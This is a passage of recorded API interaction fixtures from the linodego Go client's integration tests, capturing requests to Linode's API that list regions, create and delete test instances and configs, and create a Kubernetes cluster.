103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 21}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-g2m34g3z3eq8","metadata":{"user_data":"cmVhbGx5Y29vbG1ldGFkYXRh"},"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49042447, "label": "go-test-ins-wo-disk-g2m34g3z3eq8", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.233.228.248"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "bc08ba475869cf09b04de3864a3e3cc60925d063", "has_user_data": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "737" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-i4swa18m648d","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49042447/configs method: POST response: body: '{"id": 51958149, "label": "go-test-conf-i4swa18m648d", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49042447 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstances_List.yaml000066400000000000000000000414441455402072200312300ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"eu-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-q1vn59x4o03u","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 47858428, "label": "go-test-ins-wo-disk-q1vn59x4o03u", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["178.79.140.227"], "ipv6": "1234::5678/128", "image": null, "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "c09b98c4babef101de072877c6b9222795b5c5e3"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "714" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-891ttvgw603b","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/47858428/configs method: POST response: body: '{"id": 50756589, "label": "go-test-conf-891ttvgw603b", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"id": 47858428}' url: https://api.linode.com/v4beta/linode/instances?page=1 method: GET response: body: '{"data": [{"id": 47858428, "label": "go-test-ins-wo-disk-q1vn59x4o03u", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["178.79.140.227"], "ipv6": "1234::5678/128", "image": null, "region": "eu-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "c09b98c4babef101de072877c6b9222795b5c5e3"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "763" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/47858428 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestLKECluster_APIEndpoints_List.yaml000066400000000000000000000357351455402072200336410ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-apiend","region":"ap-west","k8s_version":"1.23","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 76166, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-apiend", "region": "ap-west", "k8s_version": "1.23", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, 